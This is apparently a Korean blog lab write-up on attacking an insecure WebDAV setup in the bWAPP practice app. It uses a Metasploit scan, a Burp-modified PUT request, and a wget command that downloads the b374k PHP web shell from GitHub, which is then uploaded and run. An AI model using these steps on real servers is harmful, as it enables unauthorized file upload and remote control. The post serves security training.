Notice
Recent Posts
Recent Comments
Link
«   2024/09   »
1 2 3 4 5 6 7
8 9 10 11 12 13 14
15 16 17 18 19 20 21
22 23 24 25 26 27 28
29 30
Archives
Today
Total
관리 메뉴

삽질블로그

[Kali_Linux] Insecure WebDAV Configuration | bWAPP | Security Misconfiguration 본문

카테고리 없음

[Kali_Linux] Insecure WebDAV Configuration | bWAPP | Security Misconfiguration

삽질장인 2020. 9. 2. 21:12

본 내용은 교육 과정에서 필요한 실습 목적으로 구성된 것이며, 혹시라도 개인적인 용도 및 악의적인 목적으로 사용할 경우, 법적 책임은 본인에게 있다는 것을 알려드립니다.

1. Security Misconfiguration

  - 잘못된 보안 구성

  - 서버 / 시스템 / DB / 네트워크 장비 / 웹 설정 오류로 인하여 발생하는 취약점이다.

  - Ex) 디렉토링 리스팅, 에러페이지, 웹페이지 주석, 웹서버 기본 설정, Adobe Flash 취약점, Dos/DDos공격,

         특정 서비스에 대한 Reverse_TCP 공격, 로컬 권한 취약점, 백업 / 임시 / robots 파일

 

2. WebDAV

   - HTTP환경에서 웹-서버 파일 조회, 송수신, 수정, 삭제, 이동이 가능한 FTP와 비슷한 서비스이다.

   - WebDAV에서는 HTTP 메소드 이외에 추가된 메소드가 있다.

메소드

GET : 리소드를 취할 때 사용한다. URL 형식으로 웹서버로 리소스를 요청한다.

HEAD : 메세지 헤더 정보만 취득할 때 사용한다.

POST : 내용을 URL 형식으로 전송하는 것이 아니라 Body에 내용을 포함시켜서 전송한다.

PUT : 헤더 이외에 메세지 (파일)를 전송할 수 있다. 즉, 웹서버에 파일을 전송할 수 있다.

DELETE : 파일 삭제 및 웹 리소스를 삭제한다.

OPTIONS : 서버가 지원하는 메소드를 질의하여 응답하여 받아온다.

TRACE : 요청 리소스가 수신되는 경로를 확인할 때 사용한다.

CONNECT : 프락시 서버와 같은 중간 서버를 경유할 때 사용한다.

PROPFIND : 웹 파일 목록과 속성을 조회할 때 사용한다.

PROPPATCH : 하나의 리소스에 대한 속성을 변경할 때 사용한다.

MKCOL : 신규 디렉토리 / 폴더를 생성할 때 사용한다.

COPY : 리소스와 파일을 복사할 때 사용한다.

MOVE : 리소스와 파일을 이동할 때 사용한다.

LOCK : 리소스와 파일이 overwrite되는 기능을 on할 때 사용한다.

UNLOCK : 리소스와 파일이 overwrite되는 기능을 off할 때 사용한다.

 

3. Insecure WebDAV Configuration

   - 'PUT' 메소드를 이용하여 WebDAV에 악의적인 파일을 업로드하는 취약점을 갖고 있다.

   - '업로드된 파일(악성코드, 백도어, 랜섬웨어 ...등)을 다른 사용자가 클릭하게 되면 문제가 발생할 수 있다.

 

4. Security Misconfiguration - Insecure WebDAB Configuration

   - 이 시나리오는 bWAPP에 WebDAV 기능이 활성화되어 있기 때문에 이를 이용하여 디렉토리 검색 및 악의적인 파일을 업로드하는 내용이다.

 

======================실습===========================

1) 첫화면

 

2) 메타스플로잇을 이용하여 WebDAV 스캐닝 실시

root@kali:~# msfconsole -q

msf5 > use auxiliary/scanner/http/webdav_scanner

msf5 auxiliary(scanner/http/webdav_scanner) > set rhosts 192.168.222.132
rhosts => 192.168.222.132

msf5 auxiliary(scanner/http/webdav_scanner) > exploit

[*] 192.168.222.132 (Apache/2.2.8 (Ubuntu) DAV/2 mod_fastcgi/2.4.6 PHP/5.2.4-2ubuntu5 with Suhosin-Patch mod_ssl/2.2.8 OpenSSL/0.9.8g) WebDAV disabled.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

msf5 auxiliary(scanner/http/webdav_scanner) > quit
root@kali:~# 

 

3) 'WebDAV' 버튼 또는 'http://192.168.222.132/webdav' 접속 실시

 

4) /webdav 안에 있는 파일 확인

 

5) Intercept -> 'Intercept is on' 으로 변경 실시

 

6) 버프슈트 Intercept 내용 확인

 

7) PUT 메소드 변경 및 Body 내용 추가

   PUT / webdav / cisco.txt HTTP/1.1

   cisco1234

 

8) PUT 메소드 변경 및 Body 내용 확인 -> 'Forward' 버튼 클릭

9) 'Intercept is off' 실시

10) 'WebDAV' 버튼 클릭

 

11) 'cisco.txt' 파일 업로드 결과 확인 및 클릭

12) PUT 메소드로 전송된 Body 내용 확인 ( cisco.txt 클릭하면 됨)

13) 'b374k' 웹쉘 다운로드 실시

root@kali:~# wget https://raw.githubusercontent.com/tennc/webshell/master/php/b374k/b374k-3.2.2.php

--2020-09-02 21:00:37--  https://raw.githubusercontent.com/tennc/webshell/master/php/b374k/b374k-3.2.2.php
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.228.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.228.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 222039 (217K) [text/plain]
Saving to: ‘b374k-3.2.2.php.1’

b374k-3.2.2.php.1           100%[==========================================>] 216.83K  1.40MB/s    in 0.2s    

2020-09-02 21:00:38 (1.40 MB/s) - ‘b374k-3.2.2.php.1’ saved [222039/222039]

root@kali:~# 

 

14) 'cadaver' PUT 메소드를 이용하여 /webdav에 'b374k' 웹쉘 업로드 실시

 

15) 'WebDAV' 버튼 클릭

 

16) 'b374k' 파일 업로드 결과 확인 및 클릭

 

17) 패스워드(b374k) 입력 및 엔터

 

18) b374 웹쉘 실행 완료 (Explorer 환경 또는 Terminal 환경 사용 가능)

 

19) 업로드 파일 삭제 실시

Comments